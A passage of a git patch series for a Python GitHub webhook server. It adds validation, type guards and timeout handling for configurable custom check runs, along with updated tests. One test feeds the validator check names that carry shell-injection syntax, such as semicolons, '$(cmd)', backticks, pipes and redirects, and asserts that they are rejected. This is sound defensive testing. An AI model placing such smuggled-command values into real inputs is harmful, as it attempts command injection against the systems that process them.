return_value="/usr/bin/echo"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Should fail validation + assert len(validated) == 0 + mock_github_webhook.logger.warning.assert_any_call("Custom check missing required 'name' field, skipping") + + def test_invalid_config_missing_command(self, mock_github_webhook: Mock) -> None: + """Test that config missing 'command' field fails validation.""" + raw_checks = [{"name": "test-check"}] + + with patch("shutil.which", return_value="/usr/bin/echo"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Should fail validation + assert len(validated) == 0 + mock_github_webhook.logger.warning.assert_any_call( + "Custom check 'test-check' missing required 'command' field, skipping" + ) class TestCheckRunHandlerCustomCheckMethods: @@ -119,7 +196,7 @@ async def test_set_custom_check_in_progress(self, check_run_handler: CheckRunHan async def test_set_custom_check_success_with_output(self, check_run_handler: CheckRunHandler) -> None: """Test setting custom check to success with output.""" check_name = "lint" - output = {"title": "Lint passed", "summary": "All checks passed", "text": "No issues found"} + output: CheckRunOutput = {"title": "Lint passed", "summary": "All checks passed", "text": "No issues found"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: await check_run_handler.set_check_success(name=check_name, output=output) @@ -146,7 +223,11 @@ async def test_set_custom_check_success_without_output(self, check_run_handler: async def test_set_custom_check_failure_with_output(self, check_run_handler: CheckRunHandler) -> None: """Test setting custom check to failure with output.""" check_name = "security-scan" - output = {"title": "Security scan failed", "summary": "Vulnerabilities found", "text": "3 critical issues"} + output: CheckRunOutput = { + "title": "Security scan failed", + "summary": "Vulnerabilities found", + "text": "3 critical issues", + } with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: await check_run_handler.set_check_failure(name=check_name, output=output) @@ -303,14 +384,14 @@ class TestRunnerHandlerCustomCheck: """Test suite for RunnerHandler run_custom_check method.""" @pytest.fixture - def mock_github_webhook(self) -> Mock: + def mock_github_webhook(self, tmp_path: Any) -> Mock: """Create a mock GithubWebhook instance.""" mock_webhook = Mock() mock_webhook.hook_data = {} mock_webhook.logger = Mock() mock_webhook.log_prefix = "[TEST]" mock_webhook.repository = Mock() - mock_webhook.clone_repo_dir = "/tmp/test-repo" + mock_webhook.clone_repo_dir = str(tmp_path / "test-repo") mock_webhook.mask_sensitive = True return mock_webhook @@ -445,7 +526,7 @@ class TestCustomCheckRunsIntegration: """Integration tests for custom check runs feature.""" @pytest.fixture - def mock_github_webhook(self) -> Mock: + def mock_github_webhook(self, tmp_path: Any) -> Mock: """Create a mock GithubWebhook instance with custom checks configured.""" mock_webhook = Mock() mock_webhook.hook_data = { @@ -455,7 +536,7 @@ def mock_github_webhook(self) -> Mock: mock_webhook.logger = Mock() mock_webhook.log_prefix = "[TEST]" mock_webhook.repository = Mock() - mock_webhook.clone_repo_dir = "/tmp/test-repo" + mock_webhook.clone_repo_dir = str(tmp_path / "test-repo") mock_webhook.mask_sensitive = True mock_webhook.custom_check_runs = [ { @@ -511,7 +592,14 @@ async def test_custom_checks_execution_workflow(self, mock_github_webhook: Mock, class TestCustomCheckRunsRetestCommand: - """Test suite for /retest custom:name command functionality.""" + """Test suite for /retest command functionality for custom checks. + + Custom checks can be retested using either format: + - /retest lint (raw name) + - /retest custom:lint (with prefix - normalized to raw name) + + The handler normalizes 'custom:' prefix so both formats work. + """ @pytest.fixture def mock_github_webhook(self) -> Mock: @@ -526,16 +614,32 @@ def mock_github_webhook(self) -> Mock: return mock_webhook @pytest.mark.asyncio - async def test_retest_custom_check_command_format(self, mock_github_webhook: Mock) -> None: - """Test that custom checks can be retested with /retest custom:name format.""" - # Verify check names match retest command format + async def test_retest_custom_check_command_formats(self, mock_github_webhook: Mock) -> None: + """Test that custom checks can be retested with both formats. + + Both /retest lint and /retest custom:lint should work. + The handler strips the 'custom:' prefix if present. + """ for check in mock_github_webhook.custom_check_runs: check_name = check["name"] - retest_command = f"/retest custom:{check_name}" - # Verify the retest command format is correct - assert retest_command.startswith("/retest custom:") - assert retest_command == f"/retest custom:{check_name}" + # Both formats should be valid + raw_format = f"/retest {check_name}" + prefixed_format = f"/retest custom:{check_name}" + + assert raw_format == f"/retest {check_name}" + assert prefixed_format == f"/retest custom:{check_name}" + + # After stripping "custom:" prefix, both should result in raw name + test_arg_raw = check_name + test_arg_prefixed = f"custom:{check_name}" + if test_arg_prefixed.startswith("custom:"): + normalized_prefixed = test_arg_prefixed[7:] + else: + normalized_prefixed = test_arg_prefixed + + assert test_arg_raw == check_name + assert normalized_prefixed == check_name @pytest.mark.asyncio async def test_retest_all_custom_checks(self, mock_github_webhook: Mock) -> None: @@ -550,7 +654,7 @@ async def test_retest_all_custom_checks(self, mock_github_webhook: Mock) -> None @pytest.mark.asyncio async def test_retest_custom_check_triggers_execution(self, mock_github_webhook: Mock) -> None: - """Test that /retest custom:name triggers check execution.""" + """Test that /retest lint triggers check execution.""" runner_handler = RunnerHandler(mock_github_webhook) runner_handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=False) runner_handler.check_run_handler.set_check_in_progress = AsyncMock() @@ -562,7 +666,7 @@ async def test_retest_custom_check_triggers_execution(self, mock_github_webhook: mock_pull_request.base = Mock() mock_pull_request.base.ref = "main" - # Simulate /retest custom:lint command + # The check config uses raw name (as it appears in custom_check_runs) check_config = mock_github_webhook.custom_check_runs[0] # Create async context manager mock @@ -584,15 +688,27 @@ async def test_retest_custom_check_triggers_execution(self, mock_github_webhook: runner_handler.check_run_handler.set_check_success.assert_called_once() @pytest.mark.asyncio - async def test_custom_check_name_without_prefix(self) -> None: - """Test that custom check names no longer use a prefix.""" + async def test_custom_check_name_stored_without_prefix(self) -> None: + """Test that custom check names are stored without prefix in config. + + The handler normalizes user input (strips 'custom:' prefix), + but internally check names are always stored without prefix. + """ base_name = "lint" check_name = base_name - # Custom check names should now match exactly what's in YAML config + # Custom check names should match exactly what's in YAML config assert check_name == "lint" assert not check_name.startswith("custom:") + # Simulate normalization that happens in process_retest_command + user_input_with_prefix = "custom:lint" + if user_input_with_prefix.startswith("custom:"): + normalized = user_input_with_prefix[7:] + else: + normalized = user_input_with_prefix + assert normalized == "lint" + class TestValidateCustomCheckRuns: """Tests for _validate_custom_check_runs validation logic.""" @@ -663,6 +779,63 @@ def test_empty_command_field(self, mock_github_webhook: Mock) -> None: "Custom check 'empty-command' missing required 'command' field, skipping" ) + def test_unsafe_characters_in_name(self, mock_github_webhook: Mock) -> None: + """Test that checks with unsafe characters in name are skipped with warning.""" + raw_checks = [ + {"name": "valid-check", "command": "echo test"}, # Valid name + {"name": "check with spaces", "command": "echo test"}, # Has spaces + {"name": "check;injection", "command": "echo test"}, # Has semicolon + {"name": "check$(cmd)", "command": "echo test"}, # Has shell substitution + {"name": "check`cmd`", "command": "echo test"}, # Has backticks + {"name": "check|pipe", "command": "echo test"}, # Has pipe + {"name": "check>redirect", "command": "echo test"}, # Has redirect + {"name": "check&background", "command": "echo test"}, # Has ampersand + {"name": "", "command": "echo test"}, # Empty name (too short) + {"name": "a" * 65, "command": "echo test"}, # Too long (65 chars, max 64) + ] + + # Patch shutil.which to always return True + with patch("shutil.which", return_value="/usr/bin/echo"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Only the valid check should pass + assert len(validated) == 1 + assert validated[0]["name"] == "valid-check" + + # Warnings should be logged for unsafe character names + mock_github_webhook.logger.warning.assert_any_call( + "Custom check name 'check with spaces' contains unsafe characters, skipping" + ) + mock_github_webhook.logger.warning.assert_any_call( + "Custom check name 'check;injection' contains unsafe characters, skipping" + ) + + def test_valid_name_patterns(self, mock_github_webhook: Mock) -> None: + """Test that valid name patterns are accepted.""" + raw_checks = [ + {"name": "a", "command": "echo test"}, # Single char + {"name": "a" * 64, "command": "echo test"}, # Max length (64 chars) + {"name": "my-check", "command": "echo test"}, # With hyphen + {"name": "my_check", "command": "echo test"}, # With underscore + {"name": "my.check", "command": "echo test"}, # With dot + {"name": "myCheck123", "command": "echo test"}, # Alphanumeric + {"name": "CHECK-NAME_v1.2", "command": "echo test"}, # Mixed valid chars + ] + + # Patch shutil.which to always return True + with patch("shutil.which", return_value="/usr/bin/echo"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # All checks should pass + assert len(validated) == 7 + validated_names = [c["name"] for c in validated] + assert "a" in validated_names + assert "my-check" in validated_names + assert "my_check" in validated_names + assert "my.check" in validated_names + assert "myCheck123" in validated_names + assert "CHECK-NAME_v1.2" in validated_names + def test_whitespace_only_command(self, mock_github_webhook: Mock) -> None: """Test that checks with whitespace-only command are skipped.""" raw_checks = [ @@ -706,7 +879,7 @@ def mock_which(cmd: str) -> str | None: # Warning should be logged for missing executable mock_github_webhook.logger.warning.assert_any_call( - "Custom check 'missing-exec' command executable 'nonexistent_command' not found on server. " + "Custom check 'missing-exec' executable 'nonexistent_command' not found on server. " "Please open an issue to request adding this executable to the container, " "or submit a PR to add it. Skipping check." ) @@ -802,17 +975,57 @@ def test_command_with_path_executable(self, mock_github_webhook: Mock) -> None: assert len(validated) == 1 assert validated[0]["name"] == "full-path" + def test_env_var_prefixed_command_validation(self, mock_github_webhook: Mock) -> None: + """Test that commands with env var prefixes like 'TOKEN=xyz uv ...' are validated correctly. + + The executable should be extracted as the first word AFTER all KEY=VALUE pairs. + For example: 'TOKEN=xyz PATH=/x/bin echo hi' should validate 'echo' as the executable. + """ + raw_checks = [ + {"name": "env-prefixed", "command": "TOKEN=xyz PATH=/x/bin echo hi"}, + {"name": "single-env", "command": "DEBUG=true uv run pytest"}, + {"name": "complex-env", "command": "VAR1=a VAR2=b VAR3=c python -c 'print(1)'"}, + ] + + # Mock shutil.which to find echo, uv, and python (the actual executables after env vars) + def mock_which(cmd: str) -> str | None: + # The implementation skips KEY=VALUE pairs and extracts the actual executable + known_executables = {"echo", "uv", "python"} + return f"/usr/bin/{cmd}" if cmd in known_executables else None + + with patch("shutil.which", side_effect=mock_which): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # All checks should validate successfully with the correct executable extracted + assert len(validated) == 3 + assert validated[0]["name"] == "env-prefixed" + assert validated[1]["name"] == "single-env" + assert validated[2]["name"] == "complex-env" + + def test_env_var_only_command_fails_validation(self, mock_github_webhook: Mock) -> None: + """Test that a command with only env vars (no executable) fails validation.""" + raw_checks = [ + {"name": "only-env-vars", "command": "VAR1=a VAR2=b"}, + ] + + with patch("shutil.which", return_value=None): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Should fail because there's no executable after the env vars + assert len(validated) == 0 + mock_github_webhook.logger.warning.assert_any_call("Custom check 'only-env-vars' has no executable, skipping") + class TestCustomCheckRunsEdgeCases: """Test suite for edge cases and error handling in custom check runs.""" @pytest.fixture - def mock_github_webhook(self) -> Mock: + def mock_github_webhook(self, tmp_path: Any) -> Mock: """Create a mock GithubWebhook instance.""" mock_webhook = Mock() mock_webhook.logger = Mock() mock_webhook.log_prefix = "[TEST]" - mock_webhook.clone_repo_dir = "/tmp/test-repo" + mock_webhook.clone_repo_dir = str(tmp_path / "test-repo") mock_webhook.mask_sensitive = True mock_webhook.custom_check_runs = [] return mock_webhook diff --git a/webhook_server/tests/test_pull_request_handler.py b/webhook_server/tests/test_pull_request_handler.py index ac21b661..7679b775 100644 --- a/webhook_server/tests/test_pull_request_handler.py +++ b/webhook_server/tests/test_pull_request_handler.py @@ -1659,12 +1659,9 @@ async def test_process_opened_setup_task_failure( patch.object(pull_request_handler.labels_handler, "_add_label", new=AsyncMock()), patch.object(pull_request_handler, "label_pull_request_by_merge_state", new=AsyncMock()), patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), patch.object(pull_request_handler, "_process_verified_for_update_or_new_pull_request", new=AsyncMock()), patch.object(pull_request_handler.labels_handler, "add_size_label", new=AsyncMock()), patch.object(pull_request_handler, "add_pull_request_owner_as_assingee", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), patch.object(pull_request_handler.runner_handler, "run_tox", new=AsyncMock()), patch.object(pull_request_handler.runner_handler, "run_pre_commit", new=AsyncMock()), patch.object(pull_request_handler.runner_handler, "run_install_python_module", new=AsyncMock()), @@ -1689,8 +1686,6 @@ async def test_process_opened_ci_task_failure( patch.object(pull_request_handler.labels_handler, "_add_label", new=AsyncMock()), patch.object(pull_request_handler, "label_pull_request_by_merge_state", new=AsyncMock()), patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), patch.object(pull_request_handler, "_process_verified_for_update_or_new_pull_request", new=AsyncMock()), patch.object(pull_request_handler.labels_handler, "add_size_label", new=AsyncMock()), patch.object(pull_request_handler, "add_pull_request_owner_as_assingee", new=AsyncMock()), From 29f67d8c572d8f91da76265fc9eaf8044e753bdc Mon Sep 17 00:00:00 2001 From: rnetser Date: Fri, 16 Jan 2026 14:05:46 +0200 Subject: [PATCH 25/33] fix: remove unnecessary custom: prefix stripping from /retest handler --- webhook_server/libs/handlers/issue_comment_handler.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/webhook_server/libs/handlers/issue_comment_handler.py b/webhook_server/libs/handlers/issue_comment_handler.py index b05e456a..0ebda95a 100644 --- a/webhook_server/libs/handlers/issue_comment_handler.py +++ b/webhook_server/libs/handlers/issue_comment_handler.py @@ -416,8 +416,6 @@ async def process_retest_command( return _target_tests: list[str] = command_args.split() - # Strip "custom:" prefix if present (users may type "/retest custom:lint" but we expect "lint") - _target_tests = [t[7:] if t.startswith("custom:") else t for t in _target_tests] self.logger.debug(f"{self.log_prefix} Target tests for re-test: {_target_tests}") _not_supported_retests: list[str] = [] _supported_retests: list[str] = [] From 3aa09bca5ce59e60744d77919e7445611041ebcf Mon Sep 17 00:00:00 2001 From: rnetser Date: Fri, 16 Jan 2026 14:10:45 +0200 Subject: [PATCH 26/33] refactor: remove redundant comments from handler files --- webhook_server/libs/handlers/check_run_handler.py | 2 +- webhook_server/libs/handlers/pull_request_handler.py | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/webhook_server/libs/handlers/check_run_handler.py b/webhook_server/libs/handlers/check_run_handler.py index 61b76380..81712497 100644 --- a/webhook_server/libs/handlers/check_run_handler.py +++ b/webhook_server/libs/handlers/check_run_handler.py @@ -379,7 +379,7 @@ async def all_required_status_checks(self, pull_request: PullRequest) -> list[st # Note: custom checks are validated in GithubWebhook._validate_custom_check_runs() # so name is guaranteed to exist for custom_check in self.github_webhook.custom_check_runs: - if custom_check.get("mandatory", True): # Default to True for backward compatibility + if custom_check.get("mandatory", True): check_name = custom_check["name"] all_required_status_checks.append(check_name) diff --git a/webhook_server/libs/handlers/pull_request_handler.py b/webhook_server/libs/handlers/pull_request_handler.py index 40829a9a..3b1743bb 100644 --- a/webhook_server/libs/handlers/pull_request_handler.py +++ b/webhook_server/libs/handlers/pull_request_handler.py @@ -802,7 +802,6 @@ async def process_opened_or_synchronize_pull_request(self, pull_request: PullReq ci_tasks.append(self.runner_handler.run_conventional_title_check(pull_request=pull_request)) # Launch custom check runs (same as built-in checks) - # Note: custom checks are validated in GithubWebhook._validate_custom_check_runs() for custom_check in self.github_webhook.custom_check_runs: ci_tasks.append( self.runner_handler.run_custom_check( From b53dd88406522b6fc30b96c8db8a1f2cac55b289 Mon Sep 17 00:00:00 2001 From: rnetser Date: Fri, 16 Jan 2026 14:52:57 +0200 Subject: [PATCH 27/33] fix: add type guards and improve test assertions for custom check validation --- webhook_server/libs/github_api.py | 21 ++++++++++++++++++- .../tests/test_custom_check_runs.py | 4 +++- webhook_server/tests/test_github_api.py | 17 ++++++++------- 3 files changed, 32 insertions(+), 10 deletions(-) diff --git a/webhook_server/libs/github_api.py b/webhook_server/libs/github_api.py index c8fa9a1c..316ea355 100644 --- a/webhook_server/libs/github_api.py +++ b/webhook_server/libs/github_api.py @@ -916,6 +916,13 @@ def _validate_custom_check_runs(self, raw_checks: list[dict[str, Any]]) -> list[ self.logger.warning("Custom check missing required 'name' field, skipping") continue + # Type guard: ensure name is a string (YAML could have int/list/dict) + if not isinstance(check_name, str): + self.logger.warning( + f"Custom check 'name' field is not a string (got {type(check_name).__name__}), skipping" + ) + continue + # Validate name contains only safe characters if not safe_check_name_pattern.match(check_name): self.logger.warning(f"Custom check name '{check_name}' contains unsafe characters, skipping") @@ -934,10 +941,22 @@ def _validate_custom_check_runs(self, raw_checks: list[dict[str, Any]]) -> list[ # Validate command field command = check.get("command") - if not command or not command.strip(): + if not command: self.logger.warning(f"Custom check '{check_name}' missing required 'command' field, skipping") continue + # Type guard: ensure command is a string (YAML could have int/list/dict) + if not isinstance(command, str): + self.logger.warning( + f"Custom check '{check_name}' has 'command' field that is not a string " + f"(got {type(command).__name__}), skipping" + ) + continue + + if not command.strip(): + self.logger.warning(f"Custom check '{check_name}' has empty 'command' field, skipping") + continue + # Parse command safely using shlex to handle quoting try: tokens = shlex.split(command.strip(), posix=True) diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index d022e8d5..b5c8d2a0 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -855,8 +855,10 @@ def test_whitespace_only_command(self, mock_github_webhook: Mock) -> None: # Warnings should be logged for whitespace-only commands assert mock_github_webhook.logger.warning.call_count >= 3 + # Whitespace-only commands pass the `if not command:` check (string is truthy) + # but fail the `if not command.strip():` check with "empty" message mock_github_webhook.logger.warning.assert_any_call( - "Custom check 'whitespace-command' missing required 'command' field, skipping" + "Custom check 'whitespace-command' has empty 'command' field, skipping" ) def test_executable_not_found(self, mock_github_webhook: Mock) -> None: diff --git a/webhook_server/tests/test_github_api.py b/webhook_server/tests/test_github_api.py index e07c1abc..232ed284 100644 --- a/webhook_server/tests/test_github_api.py +++ b/webhook_server/tests/test_github_api.py @@ -2019,21 +2019,22 @@ def get_value_side_effect( assert gh.custom_check_runs[0]["name"] == "valid-custom-check" # Verify that warnings were logged for each collision - warning_calls = [str(call) for call in mock_logger.warning.call_args_list] - assert any("'tox' conflicts with built-in check" in call for call in warning_calls) + # Extract actual message strings from call args (first positional argument) + warning_messages = [args[0] for args, _ in mock_logger.warning.call_args_list if args] + assert any("'tox' conflicts with built-in check" in msg for msg in warning_messages) assert any( - "'pre-commit' conflicts with built-in check" in call for call in warning_calls + "'pre-commit' conflicts with built-in check" in msg for msg in warning_messages ) assert any( - "'build-container' conflicts with built-in check" in call for call in warning_calls + "'build-container' conflicts with built-in check" in msg for msg in warning_messages ) assert any( - "'python-module-install' conflicts with built-in check" in call - for call in warning_calls + "'python-module-install' conflicts with built-in check" in msg + for msg in warning_messages ) assert any( - "'conventional-title' conflicts with built-in check" in call - for call in warning_calls + "'conventional-title' conflicts with built-in check" in msg + for msg in warning_messages ) def test_validate_custom_check_runs_duplicate_names(self, minimal_hook_data: dict, minimal_headers: dict) -> None: From 162b93bb02ee1d34a12dd75ed9fd40b2df533ccd Mon Sep 17 00:00:00 2001 From: rnetser Date: Fri, 16 Jan 2026 16:15:37 +0200 Subject: [PATCH 28/33] fix: add type guards for custom check validation and improve test typing --- webhook_server/libs/github_api.py | 20 +++++++++++++++++-- .../tests/test_custom_check_runs.py | 7 ++++--- webhook_server/tests/test_github_api.py | 6 ++++-- 3 files changed, 26 insertions(+), 7 deletions(-) diff --git a/webhook_server/libs/github_api.py b/webhook_server/libs/github_api.py index 316ea355..12a6bb57 100644 --- a/webhook_server/libs/github_api.py +++ b/webhook_server/libs/github_api.py @@ -875,7 +875,7 @@ async def cleanup(self) -> None: except Exception as ex: self.logger.warning(f"{self.log_prefix} Failed to cleanup temp directory: {ex}") - def _validate_custom_check_runs(self, raw_checks: list[dict[str, Any]]) -> list[dict[str, Any]]: + def _validate_custom_check_runs(self, raw_checks: Any) -> list[dict[str, Any]]: """Validate custom check runs configuration. Validates each custom check and returns only valid ones: @@ -885,12 +885,23 @@ def _validate_custom_check_runs(self, raw_checks: list[dict[str, Any]]) -> list[ - Logs warnings for invalid checks and skips them Args: - raw_checks: List of custom check configurations from config + raw_checks: Custom check configurations from config (should be a list) Returns: List of validated custom check configurations """ validated_checks: list[dict[str, Any]] = [] + + # Type guard: ensure raw_checks is a list + if not isinstance(raw_checks, list): + # Use getattr since log_prefix may not be set during early __init__ calls + prefix = getattr(self, "log_prefix", "") + self.logger.warning( + f"{prefix} Custom checks config is not a list (got {type(raw_checks).__name__}), " + "skipping all custom checks" + ) + return validated_checks + seen_names: set[str] = set() # Built-in check names that custom checks cannot override @@ -910,6 +921,11 @@ def _validate_custom_check_runs(self, raw_checks: list[dict[str, Any]]) -> list[ env_assign_re = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*=") for check in raw_checks: + # Type guard: ensure check is a dict before accessing fields + if not isinstance(check, dict): + self.logger.warning(f"Custom check entry is not a mapping (got {type(check).__name__}), skipping") + continue + # Validate name field check_name = check.get("name") if not check_name: diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index b5c8d2a0..9f3ae514 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -15,6 +15,7 @@ """ import asyncio +from pathlib import Path from typing import Any from unittest.mock import AsyncMock, Mock, patch @@ -384,7 +385,7 @@ class TestRunnerHandlerCustomCheck: """Test suite for RunnerHandler run_custom_check method.""" @pytest.fixture - def mock_github_webhook(self, tmp_path: Any) -> Mock: + def mock_github_webhook(self, tmp_path: Path) -> Mock: """Create a mock GithubWebhook instance.""" mock_webhook = Mock() mock_webhook.hook_data = {} @@ -526,7 +527,7 @@ class TestCustomCheckRunsIntegration: """Integration tests for custom check runs feature.""" @pytest.fixture - def mock_github_webhook(self, tmp_path: Any) -> Mock: + def mock_github_webhook(self, tmp_path: Path) -> Mock: """Create a mock GithubWebhook instance with custom checks configured.""" mock_webhook = Mock() mock_webhook.hook_data = { @@ -1022,7 +1023,7 @@ class TestCustomCheckRunsEdgeCases: """Test suite for edge cases and error handling in custom check runs.""" @pytest.fixture - def mock_github_webhook(self, tmp_path: Any) -> Mock: + def mock_github_webhook(self, tmp_path: Path) -> Mock: """Create a mock GithubWebhook instance.""" mock_webhook = Mock() mock_webhook.logger = Mock() diff --git a/webhook_server/tests/test_github_api.py b/webhook_server/tests/test_github_api.py index 232ed284..f2405968 100644 --- a/webhook_server/tests/test_github_api.py +++ b/webhook_server/tests/test_github_api.py @@ -2079,5 +2079,7 @@ def get_value_side_effect( assert "another-check" in check_names # Verify that warning was logged for duplicate - warning_calls = [str(call) for call in mock_logger.warning.call_args_list] - assert any("Duplicate custom check name 'my-check'" in call for call in warning_calls) + warning_messages = [ + call.args[0] for call in mock_logger.warning.call_args_list if call.args + ] + assert any("Duplicate custom check name 'my-check'" in msg for msg in warning_messages) From 7bf86bca6e8c1a1548b3677dad63e59be2ca9463 Mon Sep 17 00:00:00 2001 From: rnetser Date: Fri, 16 Jan 2026 17:48:02 +0200 Subject: [PATCH 29/33] fix: improve type safety, graceful timeout handling, and test consistency --- webhook_server/libs/github_api.py | 2 +- .../libs/handlers/runner_handler.py | 17 ++++-- webhook_server/tests/conftest.py | 3 + .../tests/test_custom_check_runs.py | 57 ++++++++++++------- webhook_server/tests/test_github_api.py | 13 +++-- 5 files changed, 62 insertions(+), 30 deletions(-) diff --git a/webhook_server/libs/github_api.py b/webhook_server/libs/github_api.py index 12a6bb57..da210bb3 100644 --- a/webhook_server/libs/github_api.py +++ b/webhook_server/libs/github_api.py @@ -875,7 +875,7 @@ async def cleanup(self) -> None: except Exception as ex: self.logger.warning(f"{self.log_prefix} Failed to cleanup temp directory: {ex}") - def _validate_custom_check_runs(self, raw_checks: Any) -> list[dict[str, Any]]: + def _validate_custom_check_runs(self, raw_checks: object) -> list[dict[str, Any]]: """Validate custom check runs configuration. Validates each custom check and returns only valid ones: diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index 0405f011..8ad1a52a 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -227,12 +227,17 @@ async def run_check(self, pull_request: PullRequest, check_config: CheckConfig) # Execute command - use cwd if configured, otherwise command should include paths cwd = worktree_path if check_config.use_cwd else None - rc, out, err = await run_command( - command=cmd, - log_prefix=self.log_prefix, - mask_sensitive=self.github_webhook.mask_sensitive, - cwd=cwd, - ) + try: + rc, out, err = await run_command( + command=cmd, + log_prefix=self.log_prefix, + mask_sensitive=self.github_webhook.mask_sensitive, + cwd=cwd, + ) + except TimeoutError: + self.logger.error(f"{self.log_prefix} Check {check_config.name} timed out") + output["text"] = "Command execution timed out" + return await self.check_run_handler.set_check_failure(name=check_config.name, output=output) output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) diff --git a/webhook_server/tests/conftest.py b/webhook_server/tests/conftest.py index 3665b48d..d9c90894 100644 --- a/webhook_server/tests/conftest.py +++ b/webhook_server/tests/conftest.py @@ -14,6 +14,9 @@ os.environ["ENABLE_LOG_SERVER"] = "true" from webhook_server.libs.github_api import GithubWebhook +# Test token constant - single source of truth for all test mocks +TEST_GITHUB_TOKEN = "ghp_testtoken123" # pragma: allowlist secret + # OWNERS test data - single source of truth for all test fixtures # This constant is used by both Repository.get_contents() and owners_files_test_data fixture OWNERS_TEST_DATA: dict[str, dict[str, list[str] | bool]] = { diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index 9f3ae514..dfb74e8a 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -418,16 +418,19 @@ def mock_pull_request(self) -> Mock: return mock_pr @pytest.mark.asyncio - async def test_run_custom_check_success(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: + async def test_run_custom_check_success( + self, runner_handler: RunnerHandler, mock_pull_request: Mock, tmp_path: Path + ) -> None: """Test successful execution of custom check.""" check_config = { "name": "lint", "command": "uv tool run --from ruff ruff check", } + worktree = tmp_path / "worktree" # Create async context manager mock mock_checkout_cm = AsyncMock() - mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, str(worktree), "", "")) mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) with ( @@ -447,16 +450,19 @@ async def test_run_custom_check_success(self, runner_handler: RunnerHandler, moc mock_run.assert_called_once() @pytest.mark.asyncio - async def test_run_custom_check_failure(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: + async def test_run_custom_check_failure( + self, runner_handler: RunnerHandler, mock_pull_request: Mock, tmp_path: Path + ) -> None: """Test failed execution of custom check.""" check_config = { "name": "security-scan", "command": "uv tool run --from bandit bandit -r .", } + worktree = tmp_path / "worktree" # Create async context manager mock mock_checkout_cm = AsyncMock() - mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, str(worktree), "", "")) mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) with ( @@ -494,7 +500,7 @@ async def test_run_custom_check_checkout_failure( @pytest.mark.asyncio async def test_run_custom_check_command_execution_in_worktree( - self, runner_handler: RunnerHandler, mock_pull_request: Mock + self, runner_handler: RunnerHandler, mock_pull_request: Mock, tmp_path: Path ) -> None: """Test that custom check command is executed in worktree directory.""" check_config = { @@ -502,9 +508,10 @@ async def test_run_custom_check_command_execution_in_worktree( "command": "uv tool run --from build python -m build", } + worktree = tmp_path / "worktree" # Create async context manager mock mock_checkout_cm = AsyncMock() - mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/test-worktree", "", "")) + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, str(worktree), "", "")) mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) with ( @@ -520,7 +527,7 @@ async def test_run_custom_check_command_execution_in_worktree( mock_run.assert_called_once() call_args = mock_run.call_args.kwargs assert call_args["command"] == "uv tool run --from build python -m build" - assert call_args["cwd"] == "/tmp/test-worktree" + assert call_args["cwd"] == str(worktree) class TestCustomCheckRunsIntegration: @@ -562,7 +569,9 @@ def mock_pull_request(self) -> Mock: return mock_pr @pytest.mark.asyncio - async def test_custom_checks_execution_workflow(self, mock_github_webhook: Mock, mock_pull_request: Mock) -> None: + async def test_custom_checks_execution_workflow( + self, mock_github_webhook: Mock, mock_pull_request: Mock, tmp_path: Path + ) -> None: """Test complete workflow of custom check execution.""" runner_handler = RunnerHandler(mock_github_webhook) runner_handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=False) @@ -572,9 +581,10 @@ async def test_custom_checks_execution_workflow(self, mock_github_webhook: Mock, check_config = mock_github_webhook.custom_check_runs[0] # lint check + worktree = tmp_path / "worktree" # Create async context manager mock mock_checkout_cm = AsyncMock() - mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, str(worktree), "", "")) mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) with ( @@ -654,7 +664,7 @@ async def test_retest_all_custom_checks(self, mock_github_webhook: Mock) -> None assert len(custom_check_names) == 2 @pytest.mark.asyncio - async def test_retest_custom_check_triggers_execution(self, mock_github_webhook: Mock) -> None: + async def test_retest_custom_check_triggers_execution(self, mock_github_webhook: 